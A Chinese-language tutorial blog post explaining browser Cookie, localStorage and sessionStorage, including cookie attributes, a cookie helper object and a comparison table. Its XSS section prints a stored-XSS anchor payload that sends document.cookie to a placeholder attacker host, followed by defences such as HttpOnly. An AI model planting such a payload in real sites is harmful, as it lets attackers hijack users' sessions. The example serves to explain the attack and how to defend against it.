细说Cookie，LocalStorage，SessionStorage

面试题目中经常被问到Cookie和LocalStorage的区别，可见其在项目开发中的重要性，这篇文章旨在详细阐述这部分内容。

概念

1.Cookie

Cookie分为内存cookie和硬盘cookie。内存 cookie由浏览器维护，浏览器关闭后消失；硬盘cookie存在硬盘里，有过期时间，除非手动清理或到过期时间，否则不会消失。

Cookie是一个浏览器状态管理文件，由于http协议是不保存状态的，需要在http请求中携带cookie发送到服务器，服务器根据cookie判断用户。

Cookie原理

Cookie只能绑定单一域名，不可以跨域使用。

Cookie属性：

name：Cookie名称，设置相同名称的值会被覆盖掉

value：Cookie值，考虑服务器兼容性，必须URL编码

domain：Cookie绑定域名，没设置的话自动绑定执行语句当前域，统一域名下的二级域名不可交换使用Cookie

path：匹配路由

expires/Max-Age：有效期；expires是具体日期，Max-age是以秒为单位，设置为0时，关闭浏览器cookie清除

secure：设置该属性后，仅通过安全通道（https）传输时，http请求才会包含cookie，但Secure仅保护cookie的机密性，不能保护完整性，也不能对客户端Cookie进行加密。

httpOnly： 设为true时，不能脚本获取Cookie，能有效避免跨域本 (XSS) 攻击

Cookie操作：

获取Cookie：document.cookie

修改Cookie：document.cookie = “cookie_name=cookie_value”

Cookie安全：

XSS攻击：XSS(Cross Site Scripting)是跨站点脚本攻击的缩写. 其就是利用站点开放的文本编辑并发布的功能, 从而造成攻击.其实说的简单一点, 就是输入javascript脚本, 窃取并投递cookie信息到自己的站点.

比如攻击者以一个普通用户登录进来，然后在输入框中提交以下数据：

<a href=# onclick=\”document.location=\’http://attacker-site.com/xss_collect?m=\’+escape\(document.cookie\)\;\”>text </a>

攻击者提交a标签后，该数据保存在服务器端，当管理员登陆后点击到这个a标签后会获取当前cookie到上面a标签设定的网址，叫做XSS攻击，也叫Cookie劫持。

如何防御：1添加HttpOnly 属性；2在cookie中添加校验信息，比如IP，UA等判断是否真正用户；3cookie中的session id定时更换

cookie接口封装：

var cookieUtil = {

    // 设置cookie

    setItem: function(name, value, days) {

        var date=new Date();

        date.setDate(date.getDate()+days);

        document.cookie=name+'='+value+';expires='+date;

    },



    // 获取cookie

    getItem: function(name) {

         var arr=document.cookie.replace(/\s/g, "").split(';');

         for(var i=0;i<arr.length;i++) {

             var tempArr=arr[i].split('=');

             if(tempArr[0]==name) {

                return decodeURIComponent(tempArr[1]);

             }

         }

         return '';

    },



    // 删除cookie

    removeItem: function(name) {

        this.setItem(name,'1', -1);

    },



    // 检查是否含有某cookie

    hasItem: function(name) {

        return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(name).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);

    },



    // 获取全部的cookie列表

    getAllItems: function() {

        var cookieArr = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/);

        for (var nIdx = 0; nIdx < cookieArr.length; nIdx++) { cookieArr[nIdx] = decodeURIComponent(cookieArr[nIdx]); }

        return cookieArr;

    }

};

2.localStorage，sessionStorage

HTML5新增的客户端存储API，都遵循浏览器的同源策略。

LocalStorage:没有时间限制的数据存储

sessionStorage:针对一个session的数据存储

操作：

setItem(key, value) ：以键值对的形式存储，

localStorage.setItem(‘key’, value)

getItem(key) ：通过key获取value值

var value = sessionStorage.getItem(“key”)

removeItem(key)：通过key删除对应value

localStorage.removeItem(“key”)

clear() à 清空存储内容

localStorage.clear()

key/length等用法：

var storage = window.localStorage;

storage.key1 = ‘Hello’;

storage[key2] = ‘world’;

console.log(storage.key1+’’+storage.key2) // Hello world

var storage = window.localStorage;

console.log(storage.length) // 返回已存储简直对的个数

三者的异同

特性	Cookie	localStorage	sessionStorage
数据生命周期	一般由服务器生成，可设置失效时间。如果在浏览器端生cookie，默认关闭浏览器后失效	除非被清除，否则永久保存	仅在当前会话下有效，关闭页面或浏览器被清除
存放数据大小	4K左右	5MB左右
与服务器端通信	每次都会携带在HTTP头中，如果cookie保存过多，会带来性能问题	仅在客户端内存中保存，不参与和服务器端通信
易用性	需要自己封装，源生Cookie接口不友好	源生接口可接受，使用方便

 

参考资料

维基百科-Cookie

把cookie聊清楚

Secure Cookie

Http cookies

Window.localStorage

详说Cookie、localStorage、sessionStorage